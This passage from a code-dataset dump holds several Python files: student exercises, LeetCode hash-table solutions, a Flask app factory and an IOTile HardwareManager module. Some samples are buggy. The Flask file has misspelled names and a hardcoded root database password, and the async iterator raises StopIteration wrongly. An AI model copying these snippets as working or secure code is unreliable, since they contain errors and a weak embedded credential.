str(macroF1)\n\n\n\n\n\n","repo_name":"lrmneves/mltextmining","sub_path":"hw2/HW2_data/lneves_hw2/eval.py","file_name":"eval.py","file_ext":"py","file_size_in_byte":1471,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"27"} +{"seq_id":"32686438011","text":"import asyncio\n\n\nclass AsincIteratorWraper:\n def __init__(self, obj):\n self._it = iter(obj)\n\n def __aiter__(self):\n return self\n\n async def __anext__(self):\n try:\n val = next(self._it)\n except StopIteration:\n raise StopIteration\n return val\n\n\nasync def it(sequence):\n async for letter in AsincIteratorWraper(sequence):\n print(letter)\n\n\nloop = asyncio.get_event_loop()\ntry:\n loop.run_until_complete(asyncio.gather(it('012345')))\nfinally:\n loop.close()\n print(\"++++++++++++++++++++++++++++++++++++++++++++++++++++++++++\")\n\n\nclass Reader:\n def __init__(self, a_str):\n self.a_str = a_str\n\n async def readline(self):\n ...\n\n def __aiter__(self):\n return self\n\n async def __anext__(self):\n value = await self.readline()\n if value == b'':\n raise StopIteration\n print(\"----------------------------------------------------\")\n return value\n\n\nr = Reader(\"python\")\n","repo_name":"karpovvadim/learning_python_library","sub_path":"Built_in_Functions/aiter.py","file_name":"aiter.py","file_ext":"py","file_size_in_byte":1009,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"27"} +{"seq_id":"10657570798","text":"#Task 1 - Lab 2 - Dawid Ziaja\n#Multiples Quiz\nfrom random import *\nnum1 = randint(1,12) # choose two numbers between 1 and 12 for the user to multiply\nnum2 = randint(1,12)\nresponse = input(\"What is \" + str(num1) + \"x\" + str(num2) +\"?\\n\") #ask the user for a response\ntry:\n response = int(response) #try to make the user input an integer\nexcept Exception as exception: # If an error occurs\n print(\"You need to input a number!\")\n quit() #exit program, user input invalid\nif int(response)==(num1*num2):\n print(\"You are correct!\")\nelse:\n print(\"You are incorrect!\")","repo_name":"dawidziaja/i2p-labs","sub_path":"Lab 2/multiples_quiz.py","file_name":"multiples_quiz.py","file_ext":"py","file_size_in_byte":576,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"27"} +{"seq_id":"70896205513","text":"# -*- coding:utf-8 -*-\n\"\"\"\n@author:boy0021\n@file:init.py\n@time:2019-01-1813:43\n\"\"\"\nimport os\nfrom flask import Flask\nfrom flask_sqlalchemy import SQLALchemy\n\nfrom views import stu\n\ndef create_app():\n BASE_DIR = os.path.dirname(os.path.dirname(os.path.abspath(__file__)))\n template_dir = os.path.join(BASE_DIR,'templates')\n static_dir = os.path.join(BASE_DIR,'static')\n app=Flask(__name__,template_floder=template_dir,static_floder=static_dir)\n # 配置数据库\n app.config['SQLALCHEMY_DATABASE_URI']= 'mysql+pymysql://root:123456@localhost:3306/flask3'\n app.config['SQLALCHEMY_TRACK_MODIFICATIONS'] = Falseie\n # 注册蓝图\n app.register_blueprint(blueprint=stu,url_prefix='/stu')\n #初始化app\n SQLALchemy(app=app)\n return app\n","repo_name":"boyoi/friends","sub_path":"DB/init.py","file_name":"init.py","file_ext":"py","file_size_in_byte":767,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"27"} +{"seq_id":"3242784956","text":"def perm(v, r, s = []):\n if r == 0:\n print(s)\n return\n for x in v :\n if x in s:continue\n perm(v, r - 1, s + [x])\n\nv = [\"홍길동\", \"성춘향\", \"이몽룡\", \"변사또\"]\nr = 3\nperm(v, 3)\n","repo_name":"choi14123/2021_study","sub_path":"SW_coding_test/perm.py","file_name":"perm.py","file_ext":"py","file_size_in_byte":222,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"27"} +{"seq_id":"10375917034","text":"from PyQt5.QtWidgets import QApplication\nimport PyQt5.uic as uic\nfrom PyQt5.QtCore import pyqtSlot, QObject\n\n\nclass MainWindow(QObject):\n def __init__(self) -> None:\n super().__init__()\n self.ui = uic.loadUi(\"./main_window.ui\")\n screen_size = QApplication.desktop().screenGeometry()\n self.ui.setMinimumSize(screen_size.width() // 1.5,\n screen_size.height() // 1.5)\n self.output_group = {}\n self.ui.listWidget.currentItemChanged.connect(self.show_current_output)\n self.ui.show()\n\n @pyqtSlot(str, str)\n def output(self, group: str, text: str) -> None:\n if group not in self.output_group:\n self.output_group[group] = text\n self.ui.listWidget.addItem(group)\n else:\n self.output_group[group] += \"\\n\" + text\n current_item = self.ui.listWidget.currentItem()\n if current_item is not None and current_item.text() == group:\n self.ui.plainTextEdit.appendPlainText(text)\n\n @pyqtSlot()\n def show_current_output(self) -> None:\n self.ui.plainTextEdit.setPlainText(\n self.output_group[self.ui.listWidget.currentItem().text()])\n","repo_name":"Tkjm/dnn-test-survival","sub_path":"main_window.py","file_name":"main_window.py","file_ext":"py","file_size_in_byte":1207,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"27"} +{"seq_id":"15312790562","text":"class MyHashSet:\n\n def __init__(self):\n self.array = [[] for _ in range(1000)]\n \n\n def add(self, key: int) -> None:\n subkey = key % 1000\n if not self.contains(key):\n self.array[subkey].append(key)\n\n def remove(self, key: int) -> None:\n subkey = key % 1000\n if self.contains(key):\n self.array[subkey].remove(key) \n\n def contains(self, key: int) -> bool:\n subkey = key % 1000\n return key in self.array[subkey]\n\n\n# Your MyHashSet object will be instantiated and called as such:\n# obj = MyHashSet()\n# obj.add(key)\n# obj.remove(key)\n# param_3 = obj.contains(key)\nclass MyHashMap:\n\n def __init__(self):\n self.l = [-1 for _ in range(1000001)]\n\n def put(self, key: int, value: int) -> None:\n self.l[key] = value\n\n def get(self, key: int) -> int:\n return self.l[key]\n\n def remove(self, key: int) -> None:\n self.l[key] = -1\n\n\n# Your MyHashMap object will be instantiated and called as such:\n# obj = MyHashMap()\n# obj.put(key,value)\n# param_2 = obj.get(key)\n# obj.remove(key)\nclass Solution:\n def singleNumber(self, nums: List[int]) -> int:\n res = 0\n for n in nums:\n res = n ^ res\n return res\n def intersection(self, nums1: List[int], nums2: List[int]) -> List[int]:\n res = []\n \n for x in nums1:\n for y in nums2:\n if x == y:\n res.append(x)\n return set(res)\n def isHappy(self, n: int) -> bool:\n visit = set()\n \n while n not in visit:\n visit.add(n)\n n = self.sumofSquare(n)\n \n if n == 1:\n return True\n return False\n \n def sumofSquare(self, n: int) -> int:\n output = 0\n while n:\n digit = n % 10\n digit = digit ** 2\n output += digit\n n = n // 10\n return output\n def twoSum(self, nums: List[int], target: int) -> List[int]:\n mymap = {}\n \n for i, n in enumerate(nums):\n diff = target - n\n if diff in mymap:\n return [mymap[diff], i]\n mymap[n] = i\n def isIsomorphic(self, s: str, t: str) -> bool:\n ST, TS = {}, {}\n \n for i in range(len(s)):\n c1, c2 = s[i], t[i]\n \n if((c1 in ST and ST[c1] != c2) or (c2 in TS and TS[c2] != c1)):\n return False\n \n ST[c1] = c2\n TS[c2] = c1\n return True\n def findRestaurant(self, list1: List[str], list2: List[str]) -> List[str]:\n hashmap = {}\n for i in range(len(list1)): #step 1\n hashmap[list1[i]] = i\n \n res = []\n\n minsum = float(\"inf\") #step 2\n \n for j in range(len(list2)): #step 3\n if list2[j] in hashmap:\n Sum = j + hashmap[list2[j]] #step 3a\n \n if Sum < minsum: #step 3b\n minsum = Sum\n res = []\n res.append(list2[j])\n elif Sum == minsum: #step 3c\n res.append(list2[j])\n \n return res\n def firstUniqChar(self, s: str) -> int:\n import collections\n \n c = collections.Counter(list(s))\n \n for i in range(len(s)):\n \n if c.get(s[i]) == 1:\n return i\n \n return -1\n def intersect(self, nums1: List[int], nums2: List[int]) -> List[int]:\n nums1.sort()\n nums2.sort()\n arr = []\n i, j = 0, 0\n while i < len(nums1) and j < len(nums2):\n if nums1[i] < nums2[j]:\n i += 1\n elif nums2[j] < nums1[i]:\n j += 1\n else:\n arr.append(nums1[i])\n i += 1\n j += 1\n return arr\n def containsNearbyDuplicate(self, nums: List[int], k: int) -> bool:\n prevMap = {}#val|index\n \n \n for i,n in enumerate(nums):\n if nums[i] in prevMap:\n if k >= abs(i-prevMap[n]):\n return True \n prevMap[n] = i\n return False \n def groupAnagrams(self, strs: List[str]) -> List[List[str]]:\n res = defaultdict(list)\n \n for s in strs:\n count = [0] * 26\n \n for c in s:\n count[ord(c) - ord(\"a\")] += 1\n \n res[tuple(count)].append(s)\n return res.values()\n def isValidSudoku(self, board: List[List[str]]) -> bool:\n cols = collections.defaultdict(set)\n rows = collections.defaultdict(set)\n squares = collections.defaultdict(set)\n \n \n for r in range(9):\n for c in range(9):\n if board[r][c] == \".\":\n continue\n if (board[r][c] in rows[r] or \n board[r][c] in cols[c] or \n board[r][c] in squares[(r//3, c//3)]):\n return False\n cols[c].add(board[r][c])\n rows[r].add(board[r][c])\n squares[(r//3, c//3)].add(board[r][c])\n return True\n def numJewelsInStones(self, jewels: str, stones: str) -> int:\n jewels=[ord(x) for x in jewels]\n res=0\n for x in stones:\n if(ord(x) in jewels):\n res+=1\n return res\n def lengthOfLongestSubstring(self, s: str) -> int:\n cset = set()\n l = 0\n res = 0\n for r in range(len(s)):\n while s[r] in cset: \n cset.remove(s[l])\n l += 1\n cset.add(s[r])\n res = max(res, r-l+1)\n return res\n def fourSumCount(self, nums1: List[int], nums2: List[int], nums3: List[int], nums4: List[int]) -> int:\n n=len(nums1)\n res=0\n d1=defaultdict(int)\n d2=defaultdict(int)\n \n for i in range(n):\n for j in range(n):\n d1[nums1[i]+nums2[j]]+=1\n \n for i in range(n):\n for j in range(n):\n d2[nums3[i]+nums4[j]]+=1\n \n for key in d1:\n res+=(d1[key]*d2[-key])\n \n return res\n def topKFrequent(self, nums: List[int], k: int) -> List[int]:\n count = {}\n freq = [[] for i in range(len(nums) + 1)]\n \n for n in nums:\n count[n] = 1 + count.get(n,0)\n \n for n,c in count.items():\n freq[c].append(n)\n \n \n res = []\n \n for i in range(len(freq)-1, 0, -1):\n for n in freq[i]:\n res.append(n)\n if len(res) ==k:\n return res\n \nclass RandomizedSet:\n\n\n def __init__(self):\n self.val_num = dict()\n self.num_val = dict()\n self.length = 0\n\n def insert(self, val: int) -> bool:\n if val in self.val_num:\n return False\n self.length += 1\n self.val_num[val] = self.length\n self.num_val[self.length] = val\n return True\n\n def remove(self, val: int) -> bool:\n if val not in self.val_num:\n return False\n num = self.val_num[val]\n if num == self.length:\n del self.val_num[val]\n del self.num_val[num]\n else:\n last = self.num_val[self.length]\n self.val_num[last] = num\n del self.val_num[val]\n self.num_val[num] = last\n del self.num_val[self.length]\n self.length -= 1\n return True\n\n def getRandom(self) -> int:\n return self.num_val[randint(1, self.length)]\n","repo_name":"vasu621998/Coding-Practice","sub_path":"Hash_Table.py","file_name":"Hash_Table.py","file_ext":"py","file_size_in_byte":7760,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"27"} +{"seq_id":"21016814595","text":"from builtins import range\nfrom functools import reduce\nimport time\nimport inspect\nimport os.path\nimport imp\nimport binascii\nimport sys\nimport logging\nfrom queue import Empty\nimport pkg_resources\nfrom future.utils import itervalues\n\nfrom iotile.core.dev.semver import SemanticVersion\nfrom iotile.core.hw.transport import *\nfrom iotile.core.hw.exceptions import *\nfrom iotile.core.exceptions import *\nfrom typedargs.annotate import annotated, param, return_type, finalizer, docannotate, context\nfrom iotile.core.dev.registry import ComponentRegistry\nfrom iotile.core.hw.transport.adapterstream import AdapterCMDStream\nfrom iotile.core.dev.config import ConfigManager\nfrom iotile.core.hw.debug import DebugManager\nfrom iotile.core.utilities.linebuffer_ui import LinebufferUI\n\nfrom .proxy import TileBusProxyObject\nfrom .app import IOTileApp\n\n\n@context(\"HardwareManager\")\nclass HardwareManager(object):\n \"\"\"\n A module for managing and interacting with IOTile Hardware\n\n This context provides tools to configure, control, debug and program\n any IOTile module. Specific functionality can be implemented in dynamically\n loaded proxy objects that are designed to provide access to each IOTile.\n\n To create a HardwareManager, you need to pass a port string that describes the\n method to be used to connect to the IOTile device. The method should specify the\n name of the connection method optionally followed by a colon and any extra information\n possibly needed to connect using that method.\n\n Currently implemented ports are: (eventually auto-detect this)\n none\n bled112\n jlink\n jlink:mux=ftdi\n virtual:...(e.g. simple)\n\n Currently implemented devices are: (eventually auto-detect this too)\n nrf52\n lpc824\n\n if using the mux then append ;channel=[7..0] to the device\n (e.g. --device=\"nrf52;channel=0\")\n\n \"\"\"\n\n # Allow overriding proxies for development by adding them to this shared proxy map\n DevelopmentProxies = {}\n DevelopmentApps = {}\n DevelopmentAppNames = {}\n\n logger = logging.getLogger(__name__)\n\n @param(\"port\", \"string\", desc=\"transport method to use in the format transport[:port[,connection_string]]\")\n @param(\"record\", \"path\", desc=\"Optional file to record all RPC calls and responses made on this HardwareManager\")\n def __init__(self, port=None, record=None):\n if port is None:\n try:\n conf = ConfigManager()\n port = conf.get('core:default-port')\n except ArgumentError:\n raise ArgumentError(\"No port given and no core:default-port config variable set\", suggestion=\"Specify the port to use to connect to the IOTile devices\")\n\n transport, _, arg = port.partition(':')\n\n self.transport = transport\n self.port = None\n if arg != \"\":\n self.port = arg\n\n self.record = record\n\n self.stream = self._create_stream()\n\n self._stream_queue = None\n self._trace_queue = None\n self._broadcast_queue = None\n self._trace_data = bytearray()\n\n self._proxies = {'TileBusProxyObject': TileBusProxyObject}\n self._name_map = {TileBusProxyObject.ModuleName(): [TileBusProxyObject]}\n\n self._known_apps = {}\n self._named_apps = {}\n\n self._setup_proxies()\n self._setup_apps()\n\n @classmethod\n def RegisterDevelopmentProxy(cls, proxy_obj): # pylint: disable=C0103; class methods are capitalized when expected to be invoked on types\n \"\"\"Register a proxy object that should be available for local development.\n\n Often during development, you need to create a virtual iotile device with\n its own proxy object. It's easy to point CoreTools at the virtual device\n in order to test it, but there did not use to be a good way to load in\n its proxy object. This method allows the user to inject a development\n proxy module to use with the virtual device.\n\n Args:\n proxy_obj (TileBusProxyObject): The proxy module class that should be\n registered.\n \"\"\"\n\n name = proxy_obj.ModuleName()\n\n if name not in HardwareManager.DevelopmentProxies:\n HardwareManager.DevelopmentProxies[name] = []\n\n HardwareManager.DevelopmentProxies[name].append(proxy_obj)\n\n @classmethod\n def ClearDevelopmentApps(cls):\n \"\"\"Clear all development apps previously registered.\"\"\"\n\n cls.DevelopmentAppNames = {}\n cls.DevelopmentApps = {}\n\n @classmethod\n def RegisterDevelopmentApp(cls, app): # pylint: disable=C0103; class methods are capitalized when expected to be invoked on types\n \"\"\"Register an IOTileApp object that should be available for local development.\n\n Often during development, you need to create a virtual iotile device with\n its own app object. It's easy to point CoreTools at the virtual device\n in order to test it, but there did not use to be a good way to load in\n its app object. This method allows the user to inject a development\n app module to use with the virtual device.\n\n Args:\n app (TileBusApp): The app module class that should be\n registered.\n \"\"\"\n\n matches = app.MatchInfo()\n\n for (app_tag, ver_range, quality) in matches:\n if app_tag not in HardwareManager.DevelopmentApps:\n HardwareManager.DevelopmentApps[app_tag] = []\n\n HardwareManager.DevelopmentApps[app_tag].append((ver_range, quality, app))\n\n HardwareManager.DevelopmentAppNames[app.AppName()] = app\n\n def _setup_proxies(self):\n \"\"\"Load in proxy module objects for all of the registered components on this system.\"\"\"\n\n # Find all of the registered IOTile components and see if we need to add any proxies for them\n reg = ComponentRegistry()\n modules = reg.list_components()\n\n proxies = reduce(lambda x, y: x+y, [reg.find_component(x).proxy_modules() for x in modules], [])\n proxy_classes = []\n for prox in proxies:\n proxy_classes += self._load_module_classes(prox, TileBusProxyObject)\n\n # Find all installed proxy objects through registered entry points\n for entry in pkg_resources.iter_entry_points('iotile.proxy'):\n mod = entry.load()\n proxy_classes += [x for x in itervalues(mod.__dict__) if inspect.isclass(x) and issubclass(x, TileBusProxyObject) and x != TileBusProxyObject]\n\n for obj in proxy_classes:\n if obj.__name__ in self._proxies:\n continue #Don't readd proxies that we already know about\n\n self._proxies[obj.__name__] = obj\n\n #Check if this object matches a specific shortened name so that we can\n #automatically match a hw module to a proxy without user intervention\n try:\n short_name = obj.ModuleName()\n if short_name in self._name_map:\n self._name_map[short_name].append(obj)\n else:\n self._name_map[short_name] = [obj]\n except Exception: #pylint: disable=broad-except;We don't want this to die if someone loads a misbehaving plugin\n self.logger.exception(\"Error importing misbehaving proxy module, skipping.\")\n\n def _setup_apps(self):\n \"\"\"Load in all iotile app objects for all registered or installed components on this system.\"\"\"\n\n reg = ComponentRegistry()\n modules = reg.list_components()\n\n apps = reduce(lambda x, y: x+y, [reg.find_component(x).app_modules() for x in modules], [])\n app_classes = []\n for app in apps:\n app_classes += self._load_module_classes(app, IOTileApp)\n\n # Find all installed proxy objects through registered entry points\n for entry in pkg_resources.iter_entry_points('iotile.app'):\n mod = entry.load()\n app_classes += [x for x in itervalues(mod.__dict__) if inspect.isclass(x) and issubclass(x, IOTileApp) and x != IOTileApp]\n\n for app in app_classes:\n try:\n matches = app.MatchInfo()\n name = app.AppName()\n for tag, ver_range, quality in matches:\n if tag not in self._known_apps:\n self._known_apps[tag] = []\n\n self._known_apps[tag].append((ver_range, quality, app))\n\n if name in self._named_apps:\n self.logger.warn(\"Added an app module with an existing name, overriding previous app, name=%s\", name)\n\n self._named_apps[name] = app\n except Exception: #pylint: disable=broad-except;We don't want this to die if someone loads a misbehaving plugin\n self.logger.exception(\"Error importing misbehaving app module, skipping.\")\n\n @param(\"address\", \"integer\", \"positive\", desc=\"numerical address of module to get\")\n @param(\"basic\", \"bool\", desc=\"return a basic global proxy rather than a specialized one\")\n def get(self, address, basic=False):\n \"\"\"Create a proxy object for a tile by address.\n\n The correct proxy object is determined by asking the tile for its\n status information and looking up the appropriate proxy in our list of\n installed proxy objects. If you want to send raw RPCs, you can get a\n basic TileBusProxyObject by passing basic=True.\n \"\"\"\n\n tile = self._create_proxy('TileBusProxyObject', address)\n\n if basic:\n return tile\n\n name = tile.tile_name()\n version = tile.tile_version()\n\n # Now create the appropriate proxy object based on the name and version of the tile\n tile_type = self.get_proxy(name)\n if tile_type is None:\n raise HardwareError(\"Could not find proxy object for tile\", name=\"'{}'\".format(name), known_names=self._name_map.keys())\n\n tile = tile_type(self.stream, address)\n tile._hwmanager = self\n\n return tile\n\n @docannotate\n def app(self, name=None, path=None):\n \"\"\"Find the best IOTileApp for the device we are connected to.\n\n Apps are matched by looking at the app tag and version information\n specified by the connected device. If no installed app matches, an\n exception will be thrown. You can also force the matching of a\n specific app by using the name parameter.\n\n Args:\n name (str): Optional name of the app that you wish to load.\n path (str): Optional path to a python file containing the\n app that you wish to load.\n\n Returns:\n IOTileApp show-as context: The IOTileApp class that was loaded\n for this device.\n \"\"\"\n\n if name is not None and path is not None:\n raise ArgumentError(\"You cannot specify both an app name and an app path\", name=name, path=path)\n\n # We perform all app matching by asking the device's controller for its app and os info\n tile = self._create_proxy('TileBusProxyObject', 8)\n device_id, os_info, app_info = tile.rpc(0x10, 0x08, result_format=\"L8xLL\")\n\n os_tag = os_info & ((1 << 20) - 1)\n os_version_str = '%d.%d.%d' % ((os_info >> 26) & ((1 << 6) - 1), (os_info >> 20) & ((1 << 6) - 1), 0)\n\n app_tag = app_info & ((1 << 20) - 1)\n app_version_str = '%d.%d.%d' % ((app_info >> 26) & ((1 << 6) - 1), (app_info>>20) & ((1 << 6) - 1), 0)\n\n os_version = SemanticVersion.FromString(os_version_str)\n app_version = SemanticVersion.FromString(app_version_str)\n\n app_class = None\n\n # If name includes a .py, assume that it points to python file and try to load that.\n if name is None and path is not None:\n loaded_classes = self._load_module_classes(path, IOTileApp)\n if len(loaded_classes) > 1:\n raise ArgumentError(\"app called with a python file that contained more than one IOTileApp class\", classes=loaded_classes)\n elif len(loaded_classes) == 0:\n raise ArgumentError(\"app called with a python file that did not contain any IOTileApp subclasses\")\n\n app_class = loaded_classes[0]\n elif name is not None:\n if name in self.DevelopmentAppNames:\n app_class = self.DevelopmentAppNames[name]\n else:\n app_class = self._named_apps.get(name)\n else:\n best_match = None\n matching_tags = self._known_apps.get(app_tag, [])\n dev_tags = self.DevelopmentApps.get(app_tag, [])\n\n for (ver_range, quality, app) in matching_tags + dev_tags:\n if ver_range.check(app_version):\n if best_match is None:\n best_match = (quality, app)\n elif quality > best_match[0]:\n best_match = (quality, app)\n\n if best_match is not None:\n app_class = best_match[1]\n\n if app_class is None:\n raise HardwareError(\"Could not find matching application for device\", app_tag=app_tag, explicit_app=name, installed_apps=[x for x in self._named_apps])\n\n app = app_class(self, (app_tag, app_version), (os_tag, os_version), device_id)\n return app\n\n @annotated\n def controller(self):\n \"\"\"\n Find an attached IOTile controller and attempt to connect to it.\n \"\"\"\n\n con = self.get(8)\n con._hwmanager = self\n\n return con\n\n @param(\"device_uuid\", \"integer\", desc=\"UUID of the device we would like to connect to\")\n @param(\"wait\", \"float\", desc=\"Time to wait for devices to show up before connecting\")\n def connect(self, device_uuid, wait=None):\n \"\"\"Attempt to connect to a device by its UUID\n \"\"\"\n\n self.stream.connect(device_uuid, wait=wait)\n\n @param(\"connection_string\", \"string\", desc=\"opaque connection string indicating which device\")\n def connect_direct(self, connection_string):\n \"\"\"Attempt to connect to a device using a connection string\n \"\"\"\n\n self.stream.connect_direct(connection_string)\n\n @annotated\n def disconnect(self):\n \"\"\"Attempt to disconnect from a device\n \"\"\"\n\n self._trace_queue = None\n self._stream_queue = None\n\n self.stream.disconnect()\n\n @param(\"connection_string\", \"string\", desc=\"opaque connection string indicating which device\")\n def debug(self, connection_string=None):\n \"\"\"Prepare the device for debugging if supported.\n\n Some transport mechanisms support a low level debug channel\n that permits recovery and test operations such as erasing\n and forcibly reprogramming a device or dumping memory.\n\n No debug operations are supported, this function will raise\n an exception.\n \"\"\"\n\n self.stream.enable_debug(connection_string)\n return DebugManager(self.stream)\n\n @return_type(\"bool\")\n def heartbeat(self):\n \"\"\"\n Check whether the underlying command stream is functional\n \"\"\"\n\n return self.stream.heartbeat()\n\n @annotated\n def enable_broadcasting(self):\n \"\"\"Enable the collection of broadcast IOTile reports.\n\n Broadcast reports contain tagged readings from an IOTile device\n but are sent without a connection to that device. The specific\n method that is used to broadcast the report varies by connection\n technology but it could be, e.g., a bluetooth low energy advertising\n packet.\n\n By default all broadcast reports are dropped unless you call\n enable_broadcasting to allocate a queue to receive them.\n\n There does not need to be an active connection for you to call\n enable_broadcasting.\n\n Once you call enable_broadcasting, it remains in effect for the\n duration of this HardwareManager object.\n \"\"\"\n\n if self._broadcast_queue is not None:\n return\n\n self._broadcast_queue = self.stream.enable_broadcasting()\n\n @annotated\n def enable_streaming(self):\n \"\"\"Enable streaming of report data from the connected device.\n\n This function will create an internal queue to receive and store\n reports until the user looks at them and then inform the connected\n IOTile device that is should begin streaming data.\n\n This is done by telling the underlying DeviceAdapter managing the\n communication with the device that it should open the device's\n streaming interface.\n\n There is currently no way to close the streaming interface except\n by disconnecting from the device and then reconnecting to it.\n \"\"\"\n\n if self._stream_queue is not None:\n return\n\n self._stream_queue = self.stream.enable_streaming()\n\n @annotated\n def enable_tracing(self):\n \"\"\"Enable tracing of realtime debug information over this interface\n \"\"\"\n\n if self._trace_queue is not None:\n return\n\n self._trace_queue = self.stream.enable_tracing()\n\n @return_type(\"integer\")\n def count_reports(self):\n if self._stream_queue is None:\n return 0\n\n return self._stream_queue.qsize()\n\n @docannotate\n def watch_broadcasts(self, whitelist=None, blacklist=None):\n \"\"\"Spawn an interactive terminal UI to watch broadcast data from devices.\n\n Devices are allowed to post a broadcast report containing stream data.\n This function will create a list in your console window with the latest\n broadcast value from each device in range.\n\n Args:\n whitelist (list(integer)): Only include devices with these listed ids.\n blacklist (list(integer)): Include every device **except** those with these\n specific ids. If combined with whitelist, whitelist wins and this\n parameter has no effect.\n \"\"\"\n\n if whitelist is not None:\n whitelist = set(whitelist)\n\n if blacklist is not None:\n blacklist = set(blacklist)\n\n def _title(_items):\n return \"Watching Broadcast Reports (Ctrl-C to Stop)\"\n\n def _poll():\n results = [x for x in self.iter_broadcast_reports(blocking=False)]\n return results\n\n def _text(item, screen):\n fmt_uuid = \"%08X\" % item.origin\n fmt_uuid = fmt_uuid[:4] + '-' + fmt_uuid[4:]\n\n reading = item.visible_readings[0]\n return \"{0: <15} stream: {1: 04X} value: {2: <8}\".format(fmt_uuid, reading.stream, reading.value)\n\n def _sort_order(item):\n return item.origin\n\n def _hash(item):\n uuid = item.origin\n if whitelist is not None and uuid not in whitelist:\n return None\n\n if blacklist is not None and whitelist is None and uuid in blacklist:\n return None\n\n return uuid\n\n line_ui = LinebufferUI(_poll, _hash, _text, sortkey_func=_sort_order, title=_title)\n line_ui.run()\n\n @docannotate\n def watch_scan(self, whitelist=None, blacklist=None, sort=\"id\"):\n \"\"\"Spawn an interactive terminal UI to watch scan results.\n\n This is just a fancy way of calling scan() repeatedly and\n deduplicating results per device so that each one has a static place\n on the screen.\n\n You can decide how you want to order the results with the sort parameter.\n\n If you pick \"id\", the default, then results will have a largely static\n order based on the UUID of each device so that there will not be too\n much screen churn.\n\n Args:\n whitelist (list(integer)): Only include devices with these listed ids.\n blacklist (list(integer)): Include every device **except** those with these\n specific ids. If combined with whitelist, whitelist wins and this\n parameter has no effect.\n sort (str): The specific way to sort the list on the screen. Options are\n id, signal. Defaults to id.\n \"\"\"\n\n if whitelist is not None:\n whitelist = set(whitelist)\n\n if blacklist is not None:\n blacklist = set(blacklist)\n\n def _title(items):\n return \"Realtime Scan: %d Devices in Range\" % len(items)\n\n def _poll():\n return self.scan()\n\n def _text(item, screen):\n fmt_uuid = \"%08X\" % item['uuid']\n fmt_uuid = fmt_uuid[:4] + '-' + fmt_uuid[4:]\n\n return \"{0: <15} signal: {1: <7d} connected: {2: <8}\".format(fmt_uuid, item['signal_strength'], str(item.get('user_connected', 'unk')))\n\n def _sort_order(item):\n if sort == \"signal\":\n return -item['signal_strength']\n\n return item['uuid']\n\n def _hash(item):\n uuid = item['uuid']\n if whitelist is not None and uuid not in whitelist:\n return None\n\n if blacklist is not None and whitelist is None and uuid in blacklist:\n return None\n\n return uuid\n\n line_ui = LinebufferUI(_poll, _hash, _text, sortkey_func=_sort_order, title=_title)\n line_ui.run()\n\n @return_type(\"string\")\n @param(\"encoding\", \"string\", desc=\"The encoding to use to dump the trace, either 'hex' or 'raw'\")\n def dump_trace(self, encoding):\n \"\"\"Dump all received tracing data currently received from the device to stdout\n\n The data is encoded per the encoding parmeter which must be either\n the string 'hex' or 'raw'. If hex is passed, the data is printed as hex digits,\n if raw is passed, the data is printed as received from the device.\n \"\"\"\n\n if encoding not in ['raw', 'hex']:\n raise ValidationError(\"Unknown encoding type specified in dump trace\", encoding=encoding, known_encodings=['hex', 'raw'])\n\n if self._trace_queue is None:\n return \"\"\n\n self._accumulate_trace()\n\n if encoding == 'raw':\n return bytes(self._trace_data)\n\n return binascii.hexlify(self._trace_data).decode('utf-8')\n\n def wait_trace(self, size, timeout=None, drop_before=False, progress_callback=None):\n \"\"\"Wait for a specific amount of tracing data to be received.\n\n This function is the equivalent of wait_reports for streaming data.\n It allows you to block until a specific amount of tracing data has\n been received. The optional timeout parameter allows you to stop\n waiting if you never receive enough tracing data after a specific\n amount of time.\n\n Args:\n size (int): The number of bytes to wait for.\n timeout (float): The maximum number of seconds to wait for\n these bytes to be received.\n drop_before (bool): Truncate all data received until now\n before waiting for size bytes.\n progress_callback (callable): An optional progress callback that\n is called periodically with updates. It should have the\n signature progress_callback(received_byte_count, total_byte_count)\n\n Returns:\n bytearray: The raw trace data obtained.\n \"\"\"\n\n if drop_before:\n self._trace_data = bytearray()\n\n if progress_callback is None:\n progress_callback = lambda x, y: None\n\n if len(self._trace_data) >= size:\n progress_callback(size, size)\n\n data = self._trace_data[:size]\n self._trace_data = self._trace_data[size:]\n\n return data\n\n progress_callback(len(self._trace_data), size)\n\n start = time.time()\n while len(self._trace_data) < size:\n progress_callback(len(self._trace_data), size)\n self._accumulate_trace()\n\n time.sleep(0.1)\n now = time.time()\n\n if timeout is not None and ((now - start) > timeout):\n raise TimeoutExpiredError(\"Timeout waiting for tracing data\", expected_size=size, received_size=len(self._trace_data), timeout=timeout)\n\n progress_callback(size, size)\n\n data = self._trace_data[:size]\n self._trace_data = self._trace_data[size:]\n\n return data\n\n def _accumulate_trace(self):\n \"\"\"Copy tracing data from trace queue into _trace_data\n \"\"\"\n\n if self._trace_queue is None:\n return\n\n try:\n while True:\n blob = self._trace_queue.get(block=False)\n self._trace_data += bytearray(blob)\n except Empty:\n pass\n\n def iter_broadcast_reports(self, blocking=False):\n \"\"\"Iterate over broadcast reports that have been received.\n\n This function is designed to allow the creation of dispatch or\n processing systems that process broadcast reports as they come in.\n\n Args:\n blocking (bool): Whether to stop when there are no more readings or\n block and wait for more.\n \"\"\"\n\n if self._broadcast_queue is None:\n return\n\n try:\n while True:\n yield self._broadcast_queue.get(block=blocking)\n except Empty:\n pass\n\n def wait_broadcast_reports(self, num_reports, timeout=2.0):\n \"\"\"Wait until a specific number of broadcast reports have been received.\n\n Args:\n num_reports (int): The number of reports to wait for\n timeout (float): The maximum number of seconds to wait without\n receiving another report.\n \"\"\"\n\n if self._broadcast_queue is None:\n raise ExternalError(\"You have to enable broadcasting before you can wait for broadcast reports\")\n\n reports = []\n\n for i in range(0, num_reports):\n try:\n report = self._broadcast_queue.get(timeout=timeout)\n reports.append(report)\n except Empty:\n raise TimeoutExpiredError(\"Timeout waiting for a report\", expected_number=num_reports, received_number=i, received_reports=reports)\n\n return reports\n\n\n\n def iter_reports(self, blocking=False):\n \"\"\"Iterate over reports that have been received.\n\n If blocking is True, this iterator will never stop. Otherwise\n it will iterate over all reports currently in the queue (and those\n added during iteration)\n\n Args:\n blocking (bool): Whether to stop when there are no more readings or\n block and wait for more.\n \"\"\"\n if self._stream_queue is None:\n return\n\n try:\n while True:\n yield 